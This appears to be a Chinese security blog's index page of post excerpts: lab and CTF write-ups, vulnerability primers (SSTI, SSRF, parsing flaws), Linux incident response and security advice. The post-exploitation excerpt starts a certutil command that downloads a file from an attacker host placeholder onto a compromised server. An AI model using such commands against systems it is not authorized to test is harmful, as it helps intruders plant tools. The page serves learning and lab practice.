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lca

真正的不自由,是在自己的心中设下牢笼。

网络安全

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后渗透之文件传输及下载

拿到了服务器之后,就需要上传工具,或者从服务器下载文件,针对不同的场景(网络环境)可能需要用到不同的文件下载工具,平常打靶场也能用得到,这里就简单记录下。 windows Copy certutil -urlcache -split -f "http://<LHOST…
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春秋云镜 仿真靶场-time记录

Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。
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春秋云镜靶场--Certify记录

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
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ATT&CK红队评估实战靶场-1

靶场来自:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 简单的一个靶场,本来用作学生的考核的,但是没用到,横向的域渗透也只是用了 cobalt strike 上的 psexec 模块,主要的内容是熟悉一些渗透的流程。 靶场有…
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game of active directory(GOAD)域环境搭建

Game Of Active directory的第二个版本,项目地址:https://github.com/Orange-Cyberdefense/GOAD 域靶场环境通过 vagrang 安装 5 个 windows 实例(三个 DC,两个普通域内主机),拓朴图如下: 官…
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某工业互联网安全技术技能大赛writeup

水了几题,其他的做不出来 -_-| modbus 题目给了个 modbus.pcapng 流量包 用 wireshark 打开,分析数据包,搜索 666c,666c 的 hex 解码就是 flag 的十六进制编码,导出分组解析结果为纯文本。 用 grep 去提取字符 去掉…
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2023年SWPU NSS 秋季招新赛 (校外赛道)web题writeup

水水比赛 赛题可以到https://www.nssctf.cn/index 搜索到 colorful_snake 右键查看 js 源码,unicode 解码 NSS_HTTP_CHEKER cookie editor设置 cookie X-Forwarded-For: 127…
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Flask SSTI靶场记录

https://www.ctfer.vip/problem/13 源码:https://github.com/X3NNY/sstilabs flask SSTI SSTI(Server-Side Template Injection)是一种 web 应用程序漏洞…
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SSRF(服务器跨站请求伪造)基础知识

很多 Web 应用都提供了从其他服务器上获取数据的功能,这种功能通常被称为 “外部资源加载”。通过使用用户指定的 URL,Web 应用可以执行各种操作,如获取图片、下载文件、读取文件内容等。然而,如果这个功能被恶意使用,攻击者可以利用存在缺陷的 Web 应用作为代理…
github不小心上传了敏感文件操作该如何撤消?
如果在github提交代码或者图片上传的时候,一不小心上传了敏感信息,就需要撤回敏感信息,防止敏感信息泄漏。
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常见的一些解析漏洞

当我们访问 web 服务器时,如:www.example.com/index.php 文件时,向 web 服务器发出请求,访问 php 文件,php 的解析器将 php 文件解析成静态文件,返回给浏览器供用户浏览。 服务器解析漏洞就发生在浏览器向服务器上传文件时…
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linux下应急响应(基础知识记录)

查看 cpu 占用率 查看 cpu 占用率的目的是为了查清是哪个进程占用 cpu 过高 (针对挖矿) Copy top -c -o %CPU htop -t # 查看cpu占用前五的进程 ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu…
小型企业如何做好网络安全
由于小型企业资金紧张,难以投入大量资金用于网络安全。但在目前国内网络安全监管越来越重视的情况下,小型企业若想在不过度投资的情况下确保网络安全,可以参考以下几个步骤
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初学者如何学习网络安全

学习任何技术或知识前,需要培养好的学习习惯,投入时间和精力去进行钻研,培养兴趣和学习能力,并能通过搜索引擎解决问题。对于网络安全学习来说,要掌握学习方法,因为它的知识面广且复杂。
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